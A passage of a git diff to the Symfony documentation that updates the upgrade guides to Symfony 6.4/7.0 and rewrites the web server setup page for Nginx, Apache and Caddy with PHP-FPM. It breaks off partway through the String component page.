+1,4 @@ -.. index:: - single: Upgrading; Major Version - -Upgrading a Major Version (e.g. 4.4.0 to 5.0.0) +Upgrading a Major Version (e.g. 6.4.0 to 7.0.0) =============================================== Every two years, Symfony releases a new major version release (the first number @@ -30,12 +27,12 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions, classes, etc) code still works, but is marked as *deprecated*, indicating that it will be removed/changed in the future and that you should stop using it. -When the major version is released (e.g. 5.0.0), all deprecated features and +When the major version is released (e.g. 7.0.0), all deprecated features and functionality are removed. So, as long as you've updated your code to stop using these deprecated features in the last version before the major (e.g. -``4.4.*``), you should be able to upgrade without a problem. That means that +``6.4.*``), you should be able to upgrade without a problem. That means that you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>` -(e.g. 4.4) so that you can see *all* the deprecations. +(e.g. 5.4) so that you can see *all* the deprecations. To help you find deprecations, notices are triggered whenever you end up using a deprecated feature. When visiting your application in the @@ -43,8 +40,8 @@ using a deprecated feature. When visiting your application in the in your browser, these notices are shown in the web dev toolbar: .. image:: /_images/install/deprecations-in-profiler.png - :align: center - :class: with-browser + :alt: The Logs page of the Symfony Profiler showing the deprecation notices. + :class: with-browser Ultimately, you should aim to stop using the deprecated functionality. Sometimes the warning might tell you exactly what to change. @@ -57,6 +54,12 @@ And sometimes, the warning may come from a third-party library or bundle that you're using. If that's true, there's a good chance that those deprecations have already been updated. In that case, upgrade the library to fix them. +.. tip:: + + `Rector`_ is a third-party project that automates the upgrading and + refactoring of PHP projects. Rector includes some rules to fix certain + Symfony deprecations automatically. + Once all the deprecation warnings are gone, you can upgrade with a lot more confidence. @@ -95,17 +98,23 @@ Now, you can start fixing the notices: Once you fixed them all, the command ends with ``0`` (success) and you're done! +.. warning:: + + You will probably see many deprecations about incompatible native + return types. See :ref:`Add Native Return Types <upgrading-native-return-types>` + for guidance in fixing these deprecations. + .. sidebar:: Using the Weak Deprecations Mode Sometimes, you can't fix all deprecations (e.g. something was deprecated - in 4.4 and you still need to support 4.3). In these cases, you can still + in 6.4 and you still need to support 6.3). In these cases, you can still use the bridge to fix as many deprecations as possible and then allow more of them to make your tests pass again. You can do this by using the ``SYMFONY_DEPRECATIONS_HELPER`` env variable: .. code-block:: xml - <!-- phpunit.xml.dist --> + <!-- phpunit.dist.xml --> <phpunit> <!-- ... --> @@ -131,40 +140,65 @@ starting with ``symfony/`` to the new major version: .. code-block:: diff - { - "...": "...", - - "require": { - - "symfony/cache": "4.4.*", - + "symfony/cache": "5.0.*", - - "symfony/config": "4.4.*", - + "symfony/config": "5.0.*", - - "symfony/console": "4.4.*", - + "symfony/console": "5.0.*", - "...": "...", - - "...": "A few libraries starting with - symfony/ follow their own versioning scheme. You - do not need to update these versions: you can - upgrade them independently whenever you want", - "symfony/monolog-bundle": "^3.5", - }, - "...": "...", - } - -At the bottom of your ``composer.json`` file, in the ``extra`` block you can -find a data setting for the Symfony version. Make sure to also upgrade -this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0: + { + "...": "...", + + "require": { + - "symfony/config": "6.4.*", + + "symfony/config": "7.0.*", + - "symfony/console": "6.4.*", + + "symfony/console": "7.0.*", + "...": "...", + + "...": "A few libraries starting with symfony/ follow their own + versioning scheme (e.g. symfony/polyfill-[...], + symfony/ux-[...], symfony/[...]-bundle). + You do not need to update these versions: you can + upgrade them independently whenever you want", + "symfony/monolog-bundle": "^3.10", + }, + "...": "...", + } + +A more efficient way to handle Symfony dependency updates is by setting the +``extra.symfony.require`` configuration option in your ``composer.json`` file. +In Symfony applications using :doc:`Symfony Flex </setup/flex>`, this setting +restricts Symfony packages to a single specific version, improving both +dependency management and Composer update performance: .. code-block:: diff - "extra": { - "symfony": { - "allow-contrib": false, - - "require": "4.4.*" - + "require": "5.0.*" - } - } + { + "...": "...", + + "require": { + - "symfony/cache": "7.0.*", + + "symfony/cache": "*", + - "symfony/config": "7.0.*", + + "symfony/config": "*", + - "symfony/console": "7.0.*", + + "symfony/console": "*", + "...": "...", + }, + "...": "...", + + + "extra": { + + "symfony": { + + "require": "7.0.*" + + } + + } + } + +.. warning:: + + Tools like `dependabot`_ may ignore this setting and upgrade Symfony + dependencies. For more details, see this `GitHub issue about dependabot`_. + +.. tip:: + + If a more recent minor version is available (e.g. ``6.4``) you can use that + version directly and skip the older releases (``6.0``, ``6.1``, etc.). + Check the `maintained Symfony versions`_. Next, use Composer to download new versions of the libraries: @@ -172,6 +206,19 @@ Next, use Composer to download new versions of the libraries: $ composer update "symfony/*" +A best practice after updating to a new major version is to clear the cache. +Instead of running the ``cache:clear`` command (which won't work if the application +is not bootable in the console after the upgrade) it's better to remove the entire +cache directory contents: + +.. code-block:: terminal + + # run this command on Linux and macOS + $ rm -rf var/cache/* + + # run this command on Windows + C:\> rmdir /s /q var\cache\* + .. include:: /setup/_update_dep_errors.rst.inc .. include:: /setup/_update_all_packages.rst.inc @@ -186,3 +233,128 @@ Next, use Composer to download new versions of the libraries: In some rare situations, the next major version *may* contain backwards-compatibility breaks. Make sure you read the ``UPGRADE-X.0.md`` (where X is the new major version) included in the Symfony repository for any BC break that you need to be aware of. + +.. _upgrading-native-return-types: + +Upgrading to Symfony 6: Add Native Return Types +----------------------------------------------- + +Symfony 6 and Symfony 7 added native PHP return types to (almost all) methods. + +In PHP, if the parent has a return type declaration, any class implementing +or overriding the method must have the return type as well. However, you +can add a return type before the parent adds one. This means that it is +important to add the native PHP return types to your classes before +upgrading to Symfony 6.0 or 7.0. Otherwise, you will get incompatible declaration +errors. + +When debug mode is enabled (typically in the dev and test environment), +Symfony will trigger deprecations for every incompatible method +declarations. For instance, the ``UserInterface::getRoles()`` method will +have an ``array`` return type in Symfony 6. In Symfony 5.4, you will get a +deprecation notice about this and you must add the return type declaration +to your ``getRoles()`` method. + +To help with this, Symfony provides a script that can add these return +types automatically for you. Make sure you installed the ``symfony/error-handler`` +component. When installed, generate a complete class map using Composer and +run the script to iterate over the class map and fix any incompatible +method: + +.. code-block:: terminal + + # Make sure "exclude-from-classmap" is not filled in your "composer.json". Then dump the autoloader: + + # "-o" is important! This forces Composer to find all classes + $ composer dump-autoload -o + + # patch all incompatible method declarations + $ ./vendor/bin/patch-type-declarations + +.. tip:: + + This feature is not limited to Symfony packages. It will also help you + add types and prepare for other dependencies in your project. + +The behavior of this script can be modified using the ``SYMFONY_PATCH_TYPE_DECLARATIONS`` +env var. The value of this env var is url-encoded (e.g. +``param1=value1¶m2=value2``), the following parameters are available: + +``force`` + Enables fixing return types, the value must be one of: + + * ``2`` to add all possible return types (default, recommended for applications); + * ``1`` to add return types only to tests, final, internal or private methods; + * ``phpdoc`` to only add ``@return`` docblock annotations to the incompatible + methods, or ``#[\ReturnTypeWillChange]`` if it's triggered by the PHP engine. + +``php`` + The target version of PHP - e.g. ``7.1`` doesn't generate "object" + types (which were introduced in 7.2). This defaults to the PHP version + used when running the script. + +``deprecations`` + Set to ``0`` to disable deprecations. Otherwise, a deprecation notice + when a child class misses a return type while the parent declares an + ``@return`` annotation (defaults to ``1``). + +If there are specific files that should be ignored, you can set the +``SYMFONY_PATCH_TYPE_EXCLUDE`` env var to a regex. This regex will be +matched to the full path to the class and each matching path will be +ignored (e.g. ``SYMFONY_PATCH_TYPE_EXCLUDE="/tests\/Fixtures\//"``). +Classes in the ``vendor/`` directory are always ignored. + +.. tip:: + + The script does not care about code style. Run your code style fixer, + or `PHP CS Fixer`_ with the ``phpdoc_trim_consecutive_blank_line_separation``, + ``no_superfluous_phpdoc_tags`` and ``ordered_imports`` rules, after + patching the types. + +.. _patching-types-for-open-source-maintainers: + +.. sidebar:: Patching Types for Open Source Maintainers + + Open source bundles and packages need to be more cautious with adding + return types, as adding a return type forces all users extending the + class to add the return type as well. The recommended approach is to + use a 2 step process: + + 1. First, create a minor release (i.e. without backwards compatibility + breaks) where you add types that can be safely introduced and add + ``@return`` PHPDoc to all other methods: + + .. code-block:: terminal + + # Add type declarations to all internal, final, tests and private methods. + # Update the "php" parameter to match your minimum required PHP version + $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=1&php=7.4" ./vendor/bin/patch-type-declarations + + # Add PHPDoc to the leftover public and protected methods + $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations + + After running the scripts, check your classes and add more ``@return`` + PHPDoc where they are missing. The deprecations and patch script + work purely based on the PHPDoc information. Users of this release + will get deprecation notices telling them to add the missing return + types from your package to their code. + + If you didn't need any PHPDoc and all your method declarations are + already compatible with Symfony, you can safely allow ``^6.0`` for + the Symfony dependencies. Otherwise, you have to continue with (2). + + 2. Create a new major release (i.e. *with* backwards compatibility + breaks) where you add types to all methods: + + .. code-block:: terminal + + # Update the "php" parameter to match your minimum required PHP version + $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=2&php=7.4" ./vendor/bin/patch-type-declarations + + Now, you can safely allow ``^6.0`` for the Symfony dependencies. + +.. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer +.. _`Rector`: https://github.com/rectorphp/rector +.. _`maintained Symfony versions`: https://symfony.com/releases +.. _`dependabot`: https://docs.github.com/en/code-security/dependabot +.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631 diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst index 09a88124fa8..ec00e142b82 100644 --- a/setup/upgrade_minor.rst +++ b/setup/upgrade_minor.rst @@ -1,7 +1,4 @@ -.. index:: - single: Upgrading; Minor Version - -Upgrading a Minor Version (e.g. 4.0.0 to 4.1.0) +Upgrading a Minor Version (e.g. 6.3.0 to 6.4.0) =============================================== If you're upgrading a minor version (where the middle number changes), then @@ -24,43 +21,41 @@ There are two steps to upgrading a minor version: The ``composer.json`` file is configured to allow Symfony packages to be upgraded to patch versions. But to upgrade to a new minor version, you will probably need to update the version constraint next to each library starting -``symfony/``. Suppose you are upgrading from Symfony 4.3 to 4.4: +``symfony/``. Suppose you are upgrading from Symfony 6.3 to 6.4: .. code-block:: diff - { - "...": "...", - - "require": { - - "symfony/cache": "4.3.*", - + "symfony/cache": "4.4.*", - - "symfony/config": "4.3.*", - + "symfony/config": "4.4.*", - - "symfony/console": "4.3.*", - + "symfony/console": "4.4.*", - "...": "...", - - "...": "A few libraries starting with - symfony/ follow their versioning scheme. You - do not need to update these versions: you can - upgrade them independently whenever you want", - "symfony/monolog-bundle": "^3.5", - }, - "...": "...", - } + { + "...": "...", + + "require": { + - "symfony/config": "6.3.*", + + "symfony/config": "6.4.*", + - "symfony/console": "6.3.*", + + "symfony/console": "6.4.*", + "...": "...", + + "...": "A few libraries starting with + symfony/ follow their own versioning scheme. You + do not need to update these versions: you can + upgrade them independently whenever you want", + "symfony/monolog-bundle": "^3.10", + }, + "...": "...", + } Your ``composer.json`` file should also have an ``extra`` block that you will *also* need to update: .. code-block:: diff - "extra": { - "symfony": { - "...": "...", - - "require": "4.3.*" - + "require": "4.4.*" - } - } + "extra": { + "symfony": { + "...": "...", + - "require": "6.3.*" + + "require": "6.4.*" + } + } Next, use Composer to download new versions of the libraries: @@ -82,11 +77,17 @@ to your code to get everything working. Additionally, some features you're using might still work, but might now be deprecated. While that's fine, if you know about these deprecations, you can start to fix them over time. -Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-4.4.md`_) +Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-6.4.md`_) included in the Symfony directory that describes these changes. If you follow the instructions in the document and update your code accordingly, it should be safe to update in the future. +.. tip:: + + `Rector`_ is a third-party project that automates the upgrading and + refactoring of PHP projects. Rector includes some rules to fix certain + Symfony deprecations automatically. + These documents can also be found in the `Symfony Repository`_. .. _updating-flex-recipes: @@ -94,4 +95,5 @@ These documents can also be found in the `Symfony Repository`_. .. include:: /setup/_update_recipes.rst.inc .. _`Symfony Repository`: https://github.com/symfony/symfony -.. _`UPGRADE-4.4.md`: https://github.com/symfony/symfony/blob/4.4/UPGRADE-4.4.md +.. _`UPGRADE-6.4.md`: https://github.com/symfony/symfony/blob/6.4/UPGRADE-6.4.md +.. _`Rector`: https://github.com/rectorphp/rector diff --git a/setup/upgrade_patch.rst b/setup/upgrade_patch.rst index 632f6602550..4475ff58cf3 100644 --- a/setup/upgrade_patch.rst +++ b/setup/upgrade_patch.rst @@ -1,7 +1,4 @@ -.. index:: - single: Upgrading; Patch Version - -Upgrading a Patch Version (e.g. 5.0.0 to 5.0.1) +Upgrading a Patch Version (e.g. 6.0.0 to 6.0.1) =============================================== When a new patch version is released (only the last number changed), it is a diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst index 2fc2c74e648..4b562d4f79e 100644 --- a/setup/web_server_configuration.rst +++ b/setup/web_server_configuration.rst @@ -1,20 +1,12 @@ -.. index:: - single: Web Server - Configuring a Web Server ======================== The preferred way to develop your Symfony application is to use -:doc:`Symfony Local Web Server </setup/symfony_server>`. +:ref:`Symfony local web server <symfony-cli-server>`. However, when running the application in the production environment, you'll need -to use a fully-featured web server. This article describes several ways to use -Symfony with Apache or Nginx. - -When using Apache, you can configure PHP as an -:ref:`Apache module <web-server-apache-mod-php>` or with FastCGI using -:ref:`PHP FPM <web-server-apache-fpm>`. FastCGI also is the preferred way -to use PHP :ref:`with Nginx <web-server-nginx>`. +to use a fully-featured web server. This article describes how to use Symfony +with Apache, Nginx or Caddy. .. sidebar:: The public directory @@ -30,153 +22,12 @@ to use PHP :ref:`with Nginx <web-server-nginx>`. another location (e.g. ``public_html/``) make sure you :ref:`override the location of the public/ directory <override-web-dir>`. -.. _web-server-apache-mod-php: - -Adding Rewrite Rules --------------------- - -The easiest way is to install the ``apache`` :ref:`Symfony pack <symfony-packs>` -by executing the following command: - -.. code-block:: terminal - - $ composer require symfony/apache-pack - -This pack installs a ``.htaccess`` file in the ``public/`` directory that contains -the rewrite rules needed to serve the Symfony application. - -In production servers, you should move the ``.htaccess`` rules into the main -Apache configuration file to improve performance. To do so, copy the -``.htaccess`` contents inside the ``<Directory>`` configuration associated to -the Symfony application ``public/`` directory (and replace ``AllowOverride All`` -by ``AllowOverride None``): - -.. code-block:: apache - - <VirtualHost *:80> - # ... - DocumentRoot /var/www/project/public - - <Directory /var/www/project/public> - AllowOverride None - - # Copy .htaccess contents here - </Directory> - </VirtualHost> - -Apache with mod_php/PHP-CGI ---------------------------- - -The **minimum configuration** to get your application running under Apache is: - -.. code-block:: apache - - <VirtualHost *:80> - ServerName domain.tld - ServerAlias www.domain.tld - - DocumentRoot /var/www/project/public - <Directory /var/www/project/public> - AllowOverride All - Order Allow,Deny - Allow from All - </Directory> - - # uncomment the following lines if you install assets as symlinks - # or run into problems when compiling LESS/Sass/CoffeeScript assets - # <Directory /var/www/project> - # Options FollowSymlinks - # </Directory> - - ErrorLog /var/log/apache2/project_error.log - CustomLog /var/log/apache2/project_access.log combined - </VirtualHost> - -.. tip:: - - If your system supports the ``APACHE_LOG_DIR`` variable, you may want - to use ``${APACHE_LOG_DIR}/`` instead of hardcoding ``/var/log/apache2/``. - -Use the following **optimized configuration** to disable ``.htaccess`` support -and increase web server performance: - -.. code-block:: apache - - <VirtualHost *:80> - ServerName domain.tld - ServerAlias www.domain.tld - - DocumentRoot /var/www/project/public - DirectoryIndex /index.php - - <Directory /var/www/project/public> - AllowOverride None - Order Allow,Deny - Allow from All - - FallbackResource /index.php - </Directory> - - # uncomment the following lines if you install assets as symlinks - # or run into problems when compiling LESS/Sass/CoffeeScript assets - # <Directory /var/www/project> - # Options FollowSymlinks - # </Directory> - - # optionally disable the fallback resource for the asset directories - # which will allow Apache to return a 404 error when files are - # not found instead of passing the request to Symfony - <Directory /var/www/project/public/bundles> - FallbackResource disabled - </Directory> - ErrorLog /var/log/apache2/project_error.log - CustomLog /var/log/apache2/project_access.log combined - - # optionally set the value of the environment variables used in the application - #SetEnv APP_ENV prod - #SetEnv APP_SECRET <app-secret-id> - #SetEnv DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name" - </VirtualHost> - -.. caution:: - - Use ``FallbackResource`` on Apache 2.4.25 or higher, due to a bug which was - fixed on that release causing the root ``/`` to hang. - -.. tip:: - - If you are using **php-cgi**, Apache does not pass HTTP basic username and - password to PHP by default. To work around this limitation, you should use - the following configuration snippet: - - .. code-block:: apache - - RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] - -Using mod_php/PHP-CGI with Apache 2.4 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -In Apache 2.4, ``Order Allow,Deny`` has been replaced by ``Require all granted``. -Hence, you need to modify your ``Directory`` permission settings as follows: - -.. code-block:: apache - - <Directory /var/www/project/public> - Require all granted - # ... - </Directory> - -For advanced Apache configuration options, read the official `Apache documentation`_. - -.. _web-server-apache-fpm: - -Apache with PHP-FPM +Configuring PHP-FPM ------------------- -To make use of PHP-FPM with Apache, you first have to ensure that you have -the FastCGI process manager ``php-fpm`` binary and Apache's FastCGI module -installed (for example, on a Debian based system you have to install the -``libapache2-mod-fastcgi`` and ``php7.1-fpm`` packages). +All configuration examples below use the PHP FastCGI process manager +(PHP-FPM). Ensure that you have installed PHP-FPM (for example, on a Debian +based system you have to install the ``php-fpm`` package). PHP-FPM uses so-called *pools* to handle incoming FastCGI requests. You can configure an arbitrary number of pools in the FPM configuration. In a pool @@ -185,113 +36,18 @@ listen on. Each pool can also be run under a different UID and GID: .. code-block:: ini + ; /etc/php/8.3/fpm/pool.d/www.conf + ; a pool called www [www] user = www-data group = www-data ; use a unix domain socket - listen = /var/run/php/php7.1-fpm.sock - - ; or listen on a TCP socket - listen = 127.0.0.1:9000 - -Using mod_proxy_fcgi with Apache 2.4 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + listen = /var/run/php/php8.3-fpm.sock -If you are running Apache 2.4, you can use ``mod_proxy_fcgi`` to pass incoming -requests to PHP-FPM. Configure PHP-FPM to listen on a TCP or Unix socket, enable -``mod_proxy`` and ``mod_proxy_fcgi`` in your Apache configuration, and use the -``SetHandler`` directive to pass requests for PHP files to PHP FPM: - -.. code-block:: apache - - <VirtualHost *:80> - ServerName domain.tld - ServerAlias www.domain.tld - - # Uncomment the following line to force Apache to pass the Authorization - # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI - # - # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1 - - # For Apache 2.4.9 or higher - # Using SetHandler avoids issues with using ProxyPassMatch in combination - # with mod_rewrite or mod_autoindex - <FilesMatch \.php$> - SetHandler proxy:fcgi://127.0.0.1:9000 - # for Unix sockets, Apache 2.4.10 or higher - # SetHandler proxy:unix:/path/to/fpm.sock|fcgi://dummy - </FilesMatch> - - # If you use Apache version below 2.4.9 you must consider update or use this instead - # ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1 - - # If you run your Symfony application on a subpath of your document root, the - # regular expression must be changed accordingly: - # ProxyPassMatch ^/path-to-app/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/project/public/$1 - - DocumentRoot /var/www/project/public - <Directory /var/www/project/public> - # enable the .htaccess rewrites - AllowOverride All - Require all granted - </Directory> - - # uncomment the following lines if you install assets as symlinks - # or run into problems when compiling LESS/Sass/CoffeeScript assets - # <Directory /var/www/project> - # Options FollowSymlinks - # </Directory> - - ErrorLog /var/log/apache2/project_error.log - CustomLog /var/log/apache2/project_access.log combined - </VirtualHost> - -PHP-FPM with Apache 2.2 -~~~~~~~~~~~~~~~~~~~~~~~ - -On Apache 2.2 or lower, you cannot use ``mod_proxy_fcgi``. You have to use -the `FastCgiExternalServer`_ directive instead. Therefore, your Apache configuration -should look something like this: - -.. code-block:: apache - - <VirtualHost *:80> - ServerName domain.tld - ServerAlias www.domain.tld - - AddHandler php7-fcgi .php - Action php7-fcgi /php7-fcgi - Alias /php7-fcgi /usr/lib/cgi-bin/php7-fcgi - FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -host 127.0.0.1:9000 -pass-header Authorization - - DocumentRoot /var/www/project/public - <Directory /var/www/project/public> - # enable the .htaccess rewrites - AllowOverride All - Order Allow,Deny - Allow from all - </Directory> - - # uncomment the following lines if you install assets as symlinks - # or run into problems when compiling LESS/Sass/CoffeeScript assets - # <Directory /var/www/project> - # Options FollowSymlinks - # </Directory> - - ErrorLog /var/log/apache2/project_error.log - CustomLog /var/log/apache2/project_access.log combined - </VirtualHost> - -If you prefer to use a Unix socket, you have to use the ``-socket`` option -instead: - -.. code-block:: apache - - FastCgiExternalServer /usr/lib/cgi-bin/php7-fcgi -socket /var/run/php/php7.1-fpm.sock -pass-header Authorization - -.. _web-server-nginx: + ; or listen on a TCP connection + ; listen = 127.0.0.1:9000 Nginx ----- @@ -300,8 +56,9 @@ The **minimum configuration** to get your application running under Nginx is: .. code-block:: nginx + # /etc/nginx/conf.d/example.com.conf server { - server_name domain.tld www.domain.tld; + server_name example.com www.example.com; root /var/www/project/public; location / { @@ -317,7 +74,12 @@ The **minimum configuration** to get your application running under Nginx is: # } location ~ ^/index\.php(/|$) { - fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; + # when using PHP-FPM as a unix socket + fastcgi_pass unix:/var/run/php/php8.3-fpm.sock; + + # when PHP-FPM is configured to use TCP + # fastcgi_pass 127.0.0.1:9000; + fastcgi_split_path_info ^(.+\.php)(/.*)$; include fastcgi_params; @@ -333,10 +95,13 @@ The **minimum configuration** to get your application running under Nginx is: # Otherwise, PHP's OPcache may not properly detect changes to # your PHP files (see https://github.com/zendtech/ZendOptimizerPlus/issues/126 # for more information). + # Caveat: When PHP-FPM is hosted on a different machine from nginx + # $realpath_root may not resolve as you expect! In this case try using + # $document_root instead. fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; fastcgi_param DOCUMENT_ROOT $realpath_root; # Prevents URIs that include the front controller. This will 404: - # http://domain.tld/index.php/some-path + # http://example.com/index.php/some-path # Remove the internal directive to allow URIs like this internal; } @@ -356,11 +121,6 @@ The **minimum configuration** to get your application running under Nginx is: If you use NGINX Unit, check out the official article about `How to run Symfony applications using NGINX Unit`_. -.. note:: - - Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be - ``fastcgi_pass 127.0.0.1:9000``. - .. tip:: This executes **only** ``index.php`` in the public directory. All other files @@ -369,21 +129,121 @@ The **minimum configuration** to get your application running under Nginx is: If you have other PHP files in your public directory that need to be executed, be sure to include them in the ``location`` block above. -.. caution:: +.. warning:: After you deploy to production, make sure that you **cannot** access the ``index.php`` script (i.e. ``http://example.com/index.php``). +For advanced Nginx configuration options, read the official `Nginx documentation`_. + +Apache +------ + +If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass +incoming requests to PHP-FPM. Install the Apache2 FastCGI mod +(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and +``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler`` +directive to pass requests for PHP files to PHP FPM: + +.. code-block:: apache + + # /etc/apache2/conf.d/example.com.conf + <VirtualHost *:80> + ServerName example.com + ServerAlias www.example.com + + # Uncomment the following line to force Apache to pass the Authorization + # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI + # + # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1 + + <FilesMatch \.php$> + # when using PHP-FPM as a unix socket + SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy + + # when PHP-FPM is configured to use TCP + # SetHandler proxy:fcgi://127.0.0.1:9000 + </FilesMatch> + + DocumentRoot /var/www/project/public + <Directory /var/www/project/public> + AllowOverride None + Require all granted + FallbackResource /index.php + </Directory> + + # uncomment the following lines if you install assets as symlinks + # or run into problems when compiling LESS/Sass/CoffeeScript assets + # <Directory /var/www/project> + # Options FollowSymlinks + # </Directory> + + # optionally disable the fallback resource for the asset directories + # which will allow Apache to return a 404 error when files are + # not found instead of passing the request to Symfony + # <Directory /var/www/project/public/bundles> + # DirectoryIndex disabled + # FallbackResource disabled + # </Directory> + + ErrorLog /var/log/apache2/project_error.log + CustomLog /var/log/apache2/project_access.log combined + </VirtualHost> + .. note:: - By default, Symfony applications include several ``.htaccess`` files to - configure redirections and to prevent unauthorized access to some sensitive - directories. Those files are only useful when using Apache, so you can - safely remove them when using Nginx. + If you're running some quick tests with Apache, you can run + ``composer require symfony/apache-pack`` to create an ``.htaccess`` file in + the ``public/`` directory with the rewrite rules needed to serve the Symfony + application. Make sure Apache's ``AllowOverride`` setting is set to ``All`` + for that directory; otherwise, the ``.htaccess`` file will be ignored. -For advanced Nginx configuration options, read the official `Nginx documentation`_. + In production, however, it's recommended to move these rules to the main + Apache configuration file (as shown above) to improve performance. + +Caddy +----- + +When using Caddy on the server, you can use a configuration like this: + +.. code-block:: nginx + + # /etc/caddy/Caddyfile + example.com, www.example.com { + root * /var/www/project/public + + # serve files directly if they can be found (e.g. CSS or JS files in public/) + encode zstd gzip + file_server + + # otherwise, use PHP-FPM (replace "unix//var/..." with "127.0.0.1:9000" when using TCP) + php_fastcgi unix//var/run/php/php8.3-fpm.sock { + # only fall back to root index.php aka front controller. + try_files {path} index.php + + # optionally set the value of the environment variables used in the application + # env APP_ENV "prod" + # env APP_SECRET "<app-secret-id>" + # env DATABASE_URL "mysql://db_user:db_pass@host:3306/db_name" + + # Configure the FastCGI to resolve any symlinks in the root path. + # This ensures that OpCache is using the destination filenames, + # instead of the symlinks, to cache opcodes and php files see + # https://caddy.community/t/root-symlink-folder-updates-and-caddy-reload-not-working/10557 + resolve_root_symlink + } + + # return 404 for all other php files not matching the front controller + # this prevents access to other php files you don't want to be accessible. + @phpFile { + path *.php* + } + error @phpFile "Not found" 404 + } + +See the `official Caddy documentation`_ for more examples, such as using +Caddy in a container infrastructure. -.. _`Apache documentation`: https://httpd.apache.org/docs/ -.. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer .. _`Nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/ .. _`How to run Symfony applications using NGINX Unit`: https://unit.nginx.org/howto/symfony/ +.. _`official Caddy documentation`: https://caddyserver.com/docs/ diff --git a/components/string.rst b/string.rst similarity index 67% rename from components/string.rst rename to string.rst index 10c0ab43e66..e51e7d1b502 100644 --- a/components/string.rst +++ b/string.rst @@ -1,15 +1,11 @@ -.. index:: - single: String - single: Components; String +Creating and Manipulating Strings +================================= -The String Component -==================== +Symfony provides an object-oriented API to work with Unicode strings (as bytes, +code points and grapheme clusters). This API is available via the String component, +which you must first install in your application: - The String component provides a single object-oriented API to work with - three "unit systems" of strings: bytes, code points and grapheme clusters. - -Installation ------------- +.. _installation: .. code-block:: terminal @@ -32,7 +28,7 @@ However, other languages require thousands of symbols to display their contents. They need complex encoding standards such as `Unicode`_ and concepts like "character" no longer make sense. Instead, you have to deal with these terms: -* `Code points`_: they are the atomic unit of information. A string is a series +* `Code points`_: they are the atomic units of information. A string is a series of code points. Each code point is a number whose meaning is given by the `Unicode`_ standard. For example, the English letter ``A`` is the ``U+0041`` code point and the Japanese *kana* ``の`` is the ``U+306E`` code point. @@ -48,7 +44,7 @@ The following image displays the bytes, code points and grapheme clusters for the same word written in English (``hello``) and Hindi (``नमस्ते``): .. image:: /_images/components/string/bytes-points-graphemes.png - :align: center + :alt: Each letter in "hello" is made up of one byte, one code point and one grapheme cluster. In the Hindi translation, the first two letters ("नम") take up three bytes, one code point and one grapheme cluster. The last letters ("स्ते") each take up six bytes, two code points and one grapheme cluster. Usage ----- @@ -125,10 +121,6 @@ to make your code more concise:: // creates a UnicodeString object $foo = s('अनुच्छेद'); -.. versionadded:: 5.1 - - The ``s()`` function was introduced in Symfony 5.1. - There are also some specialized constructors:: // ByteString can create a random string of the given length @@ -142,10 +134,6 @@ There are also some specialized constructors:: $foo = UnicodeString::fromCodePoints(0x928, 0x92E, 0x938, 0x94D, 0x924, 0x947); // equivalent to: $foo = new UnicodeString('नमस्ते'); -.. versionadded:: 5.1 - - The second argument of ``ByteString::fromRandom()`` was introduced in Symfony 5.1. - Methods to Transform String Objects ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -173,8 +161,10 @@ There is also a method to get the bytes stored at some position:: b('नमस्ते')->bytesAt(1); // [164] u('नमस्ते')->bytesAt(1); // [224, 164, 174] -Methods Related to Length and White Spaces -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. _methods-related-to-length-and-white-spaces: + +Methods Related to Length and Whitespace Characters +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :: @@ -198,14 +188,14 @@ Methods Related to Length and White Spaces END"; u($text)->width(); // 14 - // only returns TRUE if the string is exactly an empty string (not even white spaces) + // only returns TRUE if the string is exactly an empty string (not even whitespace) u('hello world')->isEmpty(); // false u(' ')->isEmpty(); // false u('')->isEmpty(); // true - // removes all white spaces from the start and end of the string and replaces two - // or more consecutive white spaces inside contents by a single white space - u(" \n\n hello world \n \n")->collapseWhitespace(); // 'hello world' + // removes all whitespace (' \n\r\t\x0C') from the start and end of the string and + // replaces two or more consecutive whitespace characters with a single space (' ') character + u(" \n\n hello \t \n\r world \n \n")->collapseWhitespace(); // 'hello world' Methods to Change Case ~~~~~~~~~~~~~~~~~~~~~~ @@ -213,7 +203,10 @@ Methods to Change Case :: // changes all graphemes/code points to lower case - u('FOO Bar')->lower(); // 'foo bar' + u('FOO Bar Brİan')->lower(); // 'foo bar bri̇an' + // changes all graphemes/code points to lower case according to locale-specific case mappings + u('FOO Bar Brİan')->localeLower('en'); // 'foo bar bri̇an' + 